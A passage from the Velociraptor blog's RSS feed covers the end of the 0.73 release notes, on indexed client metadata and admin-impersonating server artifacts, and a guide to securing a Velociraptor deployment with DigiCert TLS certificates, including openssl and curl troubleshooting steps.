department&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This tells the server to index the client metadata field&#xA;&lt;code&gt;department&lt;/code&gt;. This allows the user to search all clients by&#xA;department.&lt;/p&gt;&#xA;&lt;p&gt;Indexed metadata fields exist on all clients. Additional non-indexed&#xA;fields can be added by the user.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/client_metadata_.svg&#34; alt=&#34;Client metadata fields can be indexed or free form&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;793.7703293383789&#34;&#xA;         width=&#34;1051.6937724511718&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;client_metadata.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Client metadata fields can be indexed or free form&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;enable-a-server-artifact-to-specify-an-impersonation-user&#34;&gt;Enable a server artifact to specify an impersonation user.&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s user permission system ensures that only users that are&#xA;granted certain permissions are able to carry out actions that require&#xA;these permissions. For example, to launch an external binary on the&#xA;server is a highly privileged permission (basically it gives a server&#xA;shell). So the &lt;code&gt;execve()&lt;/code&gt; plugin requires a special &lt;code&gt;EXECVE&lt;/code&gt;&#xA;permission to run. This is normally only given to administrators on&#xA;the server.&lt;/p&gt;&#xA;&lt;p&gt;If a user has a lower role (e.g. &lt;code&gt;investigator&lt;/code&gt;) they are not able to&#xA;shell out by calling the &lt;code&gt;execve()&lt;/code&gt; VQL plugin in a notebook or a&#xA;server artifact.&lt;/p&gt;&#xA;&lt;p&gt;While this is what we want in most cases, sometimes we want to provide&#xA;the low privileged user a mechanism for performing privileged&#xA;operations in a safe manner. For example, say we want to allow the&#xA;&lt;code&gt;investigator&lt;/code&gt; user to call the &lt;code&gt;timesketch&lt;/code&gt; CLI tool to upload some&#xA;timelines. It clearly would not be appropriate to allow the&#xA;&lt;code&gt;investigator&lt;/code&gt; user to call &lt;strong&gt;any&lt;/strong&gt; arbitrary programs, but it is&#xA;probably ok to allow them to call the &lt;code&gt;timesketch&lt;/code&gt; program&#xA;selectively in a controlled way.&lt;/p&gt;&#xA;&lt;p&gt;This idea is very similar to Linux&amp;rsquo;s SUID or Windows&amp;rsquo;s impersonation&#xA;mechanisms - both mechanisms allow a low privileged user to run a&#xA;program as another high privileged user, taking on their privileges&#xA;for the duration of the task. The program itself controls access to&#xA;the privileged commands by suitably filtering user input.&lt;/p&gt;&#xA;&lt;p&gt;In the 0.73 release, server artifacts may specify that they will run&#xA;with an impersonated user.&lt;/p&gt;&#xA;&lt;p&gt;Consider the following artifact:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;name: Server.Utils.StartHuntExample&#xA;type: SERVER&#xA;impersonate: admin&#xA;sources:&#xA;  - query: |&#xA;      -- This query will run with admin ACLs.&#xA;      SELECT hunt(&#xA;        description=&amp;quot;A general hunt&amp;quot;,&#xA;        artifacts=&#39;Generic.Client.Info&#39;)&#xA;      FROM scope()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This artifact launches a new hunt for the &lt;code&gt;Generic.Client.Info&lt;/code&gt;&#xA;artifact. Usually a user needs the &lt;code&gt;START_HUNT&lt;/code&gt; permission to actually&#xA;create a new hunt.&lt;/p&gt;&#xA;&lt;p&gt;Ordinarily, if a user has the &lt;code&gt;COLLECT_SERVER&lt;/code&gt; permission allowing&#xA;them to collect server artifacts, they will be able to start this&#xA;server artifact, but unless they &lt;strong&gt;also&lt;/strong&gt; have the &lt;code&gt;START_HUNT&lt;/code&gt;&#xA;permission they will be unable to schedule the new hunt.&lt;/p&gt;&#xA;&lt;p&gt;With the &lt;code&gt;impersonate&lt;/code&gt; field, any user that is able to start&#xA;collecting this artifact will be able to schedule a hunt.&lt;/p&gt;&#xA;&lt;p&gt;This feature allows an administrator to carefully delegate higher&#xA;privilege tasks to users with lower roles. This makes it easier to&#xA;create users with lower levels of access and improves a least&#xA;privilege permission model.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;There are many more new features and bug fixes in the latest release.&lt;/p&gt;&#xA;&lt;p&gt;If you like the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>How to use your own certificates to secure your Velociraptor deployment</title>
      <link>https://www.velociraptor-docs.org/blog/2024/2024-07-22-how-to-use-your-own-certificates/</link>
      <pubDate>Tue, 16 Jul 2024 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2024/2024-07-22-how-to-use-your-own-certificates/</guid>
      <description>&lt;p&gt;This article was reproduced with permission from&#xA;&lt;a href=&#34;https://reliancecyber.com/how-to-use-your-own-certificates-to-secure-your-velociraptor-deployment/&#34; target=&#34;_blank&#34; &gt;reliancecyber.com&lt;/a&gt;. It&#xA;outlines some of the practical steps needed to deploy Velociraptor&#xA;with custom certificates and some step by step troubleshooting steps&#xA;that can be used to diagnose deployment issues.&lt;/p&gt;&#xA;&lt;h2 id=&#34;using-digicert-as-the-certificate-authority&#34;&gt;Using DigiCert as the certificate Authority&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is a robust open-source tool designed for endpoint&#xA;monitoring and digital forensics and response.&lt;/p&gt;&#xA;&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is a robust open-source tool designed for endpoint&#xA;monitoring and digital forensics and response. Whether you deploy it&#xA;on-premise or in the cloud, securing communication between the&#xA;Velociraptor server and its clients is crucial. This blog post will&#xA;guide you through creating and installing TLS certificates using&#xA;DigiCert as your Certificate Authority (CA).&lt;/p&gt;&#xA;&lt;p&gt;This guide has been written to provide additional guidance to the&#xA;following official Velociraptor articles.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.velociraptor-docs.org/knowledge_base/tips/ssl/&#34;&gt;How do I use my own SSL certificates?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.velociraptor-docs.org/docs/deployment/security/&#34;&gt;Velociraptor Security Configuration&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;&#xA;&lt;p&gt;Before getting started, ensure you have the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Domain name&lt;/em&gt;: Own or control a domain name, such as example.com.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Accessible Velociraptor server&lt;/em&gt;: Ensure your server is accessible via&#xA;a domain name, e.g., DNS A record points to your Velociraptor&#xA;server’s Public IP.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;DigiCert&lt;/em&gt; account: A valid SSL certificate from DigiCert for your domain.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;OpenSSL&lt;/em&gt;: Installed on your machine.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;creating-the-certificate-files&#34;&gt;Creating the certificate files&lt;/h2&gt;&#xA;&lt;p&gt;You will need three key files for the Velociraptor server:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Velociraptor.pem&lt;/em&gt;: Contains the public certificate identifying your&#xA;Velociraptor server.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;your_domain_name.key&lt;/em&gt;: Contains the private key for your SSL&#xA;certificate. Keep this file secure.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;CA_chain.pem&lt;/em&gt;: Contains the certificate chain of your enterprise&#xA;CA, including intermediate and root certificates.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;DigiCert will provide the following files:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Private Key&lt;/em&gt;: &lt;code&gt;your_domain_name.key&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Primary Certificate&lt;/em&gt;: &lt;code&gt;your_domain_name.crt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Intermediate Certificate&lt;/em&gt;: &lt;code&gt;DigiCertCA.crt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Root Certificate&lt;/em&gt;: &lt;code&gt;TrustedRoot.crt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For details on how to request your certificates &lt;a href=&#34;https://www.digicert.com/faq/public-trust-and-certificates/how-do-i-order-a-tls-ssl-certificate&#34; target=&#34;_blank&#34; &gt;How do I Order a TLS/SSL Certificate? | DigiCert FAQ&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;creating-velociraptorpem&#34;&gt;Creating Velociraptor.pem&lt;/h2&gt;&#xA;&lt;p&gt;To create the Velociraptor.pem file, you need to convert the Primary&#xA;Certificate (&lt;code&gt;your_domain_name.crt&lt;/code&gt;) file from CRT to PEM format.&lt;/p&gt;&#xA;&lt;p&gt;Open a terminal and run the following command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;openssl x509 -in your_domain_name.crt -out velociraptor.pem -outform PEM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Verify the certificate details:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;openssl x509 -in velociraptor.pem -text -noout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You should see the details of your certificate, such as the issuer,&#xA;the subject, the validity period, and the public key.&lt;/p&gt;&#xA;&lt;h2 id=&#34;verifying-the-key-file&#34;&gt;Verifying the key file&lt;/h2&gt;&#xA;&lt;p&gt;Ensure the private key (&lt;code&gt;your_domain_name.key&lt;/code&gt;) is in PEM format and&#xA;decrypted. When viewed, the file should look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;-----BEGIN RSA PRIVATE KEY-----&#xA;&#xA;    {base64 encoded data}&#xA;&#xA;-----END RSA PRIVATE KEY-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To verify that the key format is valid, run the following command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;openssl rsa -in your_domain_name.key -check&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You should see &lt;code&gt;RSA key ok&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;creating-ca_chainpem&#34;&gt;Creating CA_chain.pem&lt;/h2&gt;&#xA;&lt;p&gt;To create the CA_chain.pem file, you need to combine the intermediate&#xA;certificate (&lt;code&gt;DigiCertCA.crt&lt;/code&gt;) and the root certificate&#xA;(&lt;code&gt;TrustedRoot.crt&lt;/code&gt;) into one file. This can be done by simply&#xA;concatenating the two files using a text editor or a command line&#xA;tool. For example, you can run the following command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cat DigiCertCA.crt TrustedRoot.crt &amp;gt; CA_chain.pem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;Ensure the order is correct: server certificate first, followed by intermediate certificates (you may have more than one), and finally the root certificate.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;You should now have the following files in your cert folder:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Velociraptor.pem&lt;/em&gt; (contains only the server certificate)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;your_domain_name.key&lt;/em&gt; (contains the unencrypted private key)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;CA_chain.pem&lt;/em&gt; (contains the certificate chain of your enterprise CA)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;configuring-velociraptor&#34;&gt;Configuring Velociraptor&lt;/h2&gt;&#xA;&lt;p&gt;To enable TLS encryption for the Velociraptor server and client:&lt;/p&gt;&#xA;&lt;h3 id=&#34;generate-a-self-signed-ssl-configuration&#34;&gt;Generate a Self-Signed SSL Configuration:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;./velociraptor-0.72.3-linux-amd64 config generate -i&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: The version number may be different for the most recent release.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-07-22-how-to-use-your-own-certificates//blog/2024/2024-07-22-how-to-use-your-own-certificates/Configuring-Velociraptor.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The velociraptor configuration generator screenshot&#34;&#xA;         width=&#34;671&#34; height=&#34;664&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;Configuring-Velociraptor.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The velociraptor configuration generator screenshot&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;In this configuration I set frontend to communicate over port 443 as&#xA;most firewalls in a network will allow this traffic outbound making it&#xA;easier for the deployment of clients.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;update-the-server-configuration&#34;&gt;Update the Server Configuration:&lt;/h2&gt;&#xA;&lt;p&gt;To use your own Certificates, you need to update the server&#xA;configuration file (&lt;code&gt;server.config.yaml&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Locate the frontend section and add the &lt;code&gt;tls_certificate_filename&lt;/code&gt;&#xA;and &lt;code&gt;tls_private_key_filename&lt;/code&gt; parameters (these are not included by&#xA;default).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Enter the absolute path to these files. For testing, we placed them&#xA;in /etc, but you may want to use a different location for&#xA;production use.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;Frontend:&#xA;&#xA;  tls_certificate_filename: /etc/velociraptor.pem&#xA;&#xA;  tls_private_key_filename: /etc/your_domain_key.key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-07-22-how-to-use-your-own-certificates/Configuring-server-update-Velociraptor.png&#34;&#xA;     width=&#34;410&#34;&#xA;     height=&#34;59&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;update-the-client-configuration&#34;&gt;Update the client configuration:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: if you have already exported a &lt;code&gt;client.config.yaml&lt;/code&gt;, then you&#xA;need to update the client section in both &lt;code&gt;server.config.yaml&lt;/code&gt;&#xA;configuration file and the &lt;code&gt;client.config.yaml&lt;/code&gt; configuration&#xA;file. Remember, the client configuration is embedded into the server&#xA;configuration file, so you need to update it there as well.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;In the client section, modify &lt;code&gt;use_self_signed_ssl&lt;/code&gt; to be&#xA;&lt;strong&gt;false&lt;/strong&gt;. This will tell the client to use the CA certificate instead&#xA;of the server certificate for verification.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Copy and paste the CA root and intermediate certificates (created&#xA;in the &lt;code&gt;CA_chain.pem&lt;/code&gt; file) to the &lt;code&gt;root_certs&lt;/code&gt; parameter. This will&#xA;allow the client to trust the CA certificate chain. For example:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;use_self_signed_ssl: false&#xA;Crypto:&#xA;    root_certs: |&#xA;         -----BEGIN CERTIFICATE-----&#xA;         The Intermediate Certificate&#xA;&#xA;         -----END CERTIFICATE-----&#xA;&#xA;         -----BEGIN CERTIFICATE-----&#xA;&#xA;            The Root Certificate&#xA;&#xA;         -----END CERTIFICATE-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;As discussed in the certificate section, ensure that the intermediate&#xA;and root certificates are in the correct order. The server certificate&#xA;should come first, followed by any intermediate certs, and finally the&#xA;root trusted authority certificate (if self-signed) for more&#xA;information, please see&#xA;&lt;a href=&#34;https://www.rfc-editor.org/rfc/rfc4346#section-7.4.2&#34; target=&#34;_blank&#34; &gt;https://www.rfc-editor.org/rfc/rfc4346#section-7.4.2&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;testing-the-tls-encryption&#34;&gt;Testing the TLS Encryption&lt;/h2&gt;&#xA;&lt;p&gt;To verify the TLS encryption:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;GUI&lt;/strong&gt;: Launch the Velociraptor server and connect to the GUI using&#xA;your web browser. You should be able to access the GUI using the new&#xA;certificate. You may need to trust the certificate in your browser&#xA;or system to prevent errors.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Frontend&lt;/strong&gt;: Launch the Velociraptor client and check the logs for&#xA;any errors. The client should connect securely to the server using&#xA;the trusted CA chain and the new server certificate.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;No changes need to be made to the pinned certificate name, nor do&#xA;any certificates need to be modified in the configuration files.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;troubleshooting&#34;&gt;Troubleshooting&lt;/h2&gt;&#xA;&lt;h3 id=&#34;connectioncertificate-errors&#34;&gt;Connection/certificate errors:&lt;/h3&gt;&#xA;&lt;p&gt;To validate that the certificates you are using are in the right&#xA;format, you can use the command to diagnose issues:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;openssl [x509|rsa] -in CERT_FILE -text -noout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If the certificates are in the right format and valid you should use&#xA;curl to confirm connectivity by requesting the &lt;code&gt;server.pem&lt;/code&gt; file from&#xA;the velociraptor server (as detailed in &lt;a href=&#34;https://www.velociraptor-docs.org/docs/troubleshooting/deployment/client/&#34;&gt;Troubleshooting and&#xA;Debugging&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;h3 id=&#34;use-curl-from-the-server-localhost&#34;&gt;Use curl from the server localhost&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl https://localhost/server.pem -vvv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Reason&lt;/strong&gt;: This command tests the server’s ability to serve the&#xA;certificate file (&lt;code&gt;server.pem&lt;/code&gt;) over HTTPS from the local machine. Using&#xA;the &lt;code&gt;-vvv&lt;/code&gt; flag enables verbose output, providing detailed information&#xA;about the connection process, including SSL/TLS handshake details. It&#xA;helps to confirm that:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Local Server Configuration&lt;/strong&gt;: The server is properly configured to&#xA;handle HTTPS requests.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Certificate Availability&lt;/strong&gt;: The certificate file is accessible and&#xA;correctly served by the server.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;use-curl-from-the-server-localhost-allowing-self-signed-certificates&#34;&gt;Use curl from the server localhost allowing self-signed certificates&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl https://localhost/server.pem -vvv -k&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Reason&lt;/strong&gt;: This command includes the -k option, which allows&#xA;connections to servers using self-signed certificates. It helps to:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Bypass SSL Verification&lt;/strong&gt;: Ensure that the server can still serve the&#xA;certificate even when SSL verification is bypassed. This is useful&#xA;for testing purposes when using self-signed certificates.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Debugging&lt;/strong&gt;: Identify issues related to SSL verification failures&#xA;that might not be apparent when SSL verification is enforced.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;use--curl-from-the-localhost-via-dns&#34;&gt;Use  curl from the localhost via DNS&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl https://www.example.com/server.pem -vvv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Reason&lt;/strong&gt;: Running this command from the localhost but using the&#xA;domain name tests:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;DNS Resolution&lt;/strong&gt;: Ensure that the domain name resolves correctly to the local server.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SSL/TLS Configuration&lt;/strong&gt;: Confirm that the server is correctly serving the certificate over the domain name.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;use-curl-from-a-remote-client&#34;&gt;Use curl from a remote client&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl https://www.example.com/server.pem -vvv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Reason&lt;/strong&gt;: This command tests the following from a remote client (a&#xA;different machine than the server):&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;External Connectivity&lt;/strong&gt;: Ensure that the server is accessible over&#xA;the internet or network and that there are no firewall or network&#xA;issues preventing access.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SSL/TLS Configuration&lt;/strong&gt;: Confirm that the SSL/TLS setup is correct&#xA;and the server is properly serving the certificate to external&#xA;clients.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Certificate Acceptance&lt;/strong&gt;: Verify that the client can accept and&#xA;validate the certificate, ensuring the trust chain is correctly&#xA;established.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;These steps validate the entire communication path, from local server&#xA;configuration to remote client connectivity.&lt;/p&gt;&#xA;&lt;h2 id=&#34;proxy-errors&#34;&gt;Proxy Errors:&lt;/h2&gt;&#xA;&lt;p&gt;A proxy or SSL inspection device is a network device that inspects and&#xA;modifies the traffic between the client and the server. Sometimes&#xA;these devices can cause problems, especially if they are not&#xA;configured properly or are incompatible with the server’s TLS version&#xA;or cipher suite.&lt;/p&gt;&#xA;&lt;p&gt;One possible error is this Server reports:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;http: TLS handshake error from XX.XX.XX.XX: :22439 read tcp XX.XX.XX.XX:443-&amp;gt; XX.XX.XX.XX:22439: read: connection reset by peer&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This means the server-client TLS connection was interrupted. This&#xA;could be due to network issues, firewall settings, or expired&#xA;certificates.&lt;/p&gt;&#xA;&lt;p&gt;Another possible error reported by the client:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;wsarecv: An existing connection was forcibly closed by the remote host.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This means the server or something in between closed the connection&#xA;abruptly. This could be due to server overload, crash, or shutdown, or&#xA;a proxy or SSL inspection device that interferes with the connection.&lt;/p&gt;&#xA;&lt;p&gt;To check if there is a proxy or SSL inspection device that is causing the connection errors, run this command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl https[://]server.com/server.pem -vvv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This command tries to download the server’s certificate file using&#xA;curl. If the command succeeds, there is no proxy or SSL inspection&#xA;device that is blocking or altering the connection. If the command&#xA;fails or idles, there is something in between that is preventing or&#xA;delaying the connection.&lt;/p&gt;&#xA;&lt;p&gt;If you suspect that there is a proxy or SSL inspection device that is&#xA;causing the connection errors, try these solutions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Review the configurations of the proxy or SSL inspection device and&#xA;make sure they are compatible with the server’s TLS version and&#xA;cipher suite. You can use tools like &lt;code&gt;SSL Labs&lt;/code&gt; or &lt;code&gt;TestSSL&lt;/code&gt; to check&#xA;the server’s TLS configuration and compare it with the proxy or SSL&#xA;inspection device.&lt;/li&gt;&#xA;&lt;li&gt;Disable or bypass the proxy or SSL inspection device temporarily and&#xA;see if the connection errors go away. This can help you isolate the&#xA;problem and confirm that the proxy or SSL inspection device is the&#xA;culprit.&lt;/li&gt;&#xA;&lt;li&gt;Contact the administrator or vendor of the proxy or SSL inspection&#xA;device and ask for help or guidance on how to resolve the&#xA;issue. They might have some tips or updates that can fix the&#xA;problem.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For full details on troubleshooting or for any other debugging issues,&#xA;please see &lt;a href=&#34;https://www.velociraptor-docs.org/docs/troubleshooting/&#34;&gt;Troubleshooting and Debugging&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;about-the-author&#34;&gt;About the author&lt;/h2&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-07-22-how-to-use-your-own-certificates//blog/2024/2024-07-22-how-to-use-your-own-certificates/Untitled-design-5-e1721652417163.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Picture of Chris Hayes - Head of IR&#34;&#xA;         width=&#34;254&#34; height=&#34;273&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;Untitled-design-5-e1721652417163.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Picture of Chris Hayes - Head of IR&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;chris-hayes-head-of-incident-response-at-reliance-cyber&#34;&gt;Chris Hayes, Head of Incident Response at Reliance Cyber&lt;/h3&gt;&#xA;&lt;p&gt;Chris possesses over 10 years of experience across a series of Cyber roles within both the private public sector. As ex-military, Chris has responded to some of the largest and most high-profile cyber-attacks in addition to tracking sophisticated nation state threat actor groups.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.72 Release</title>
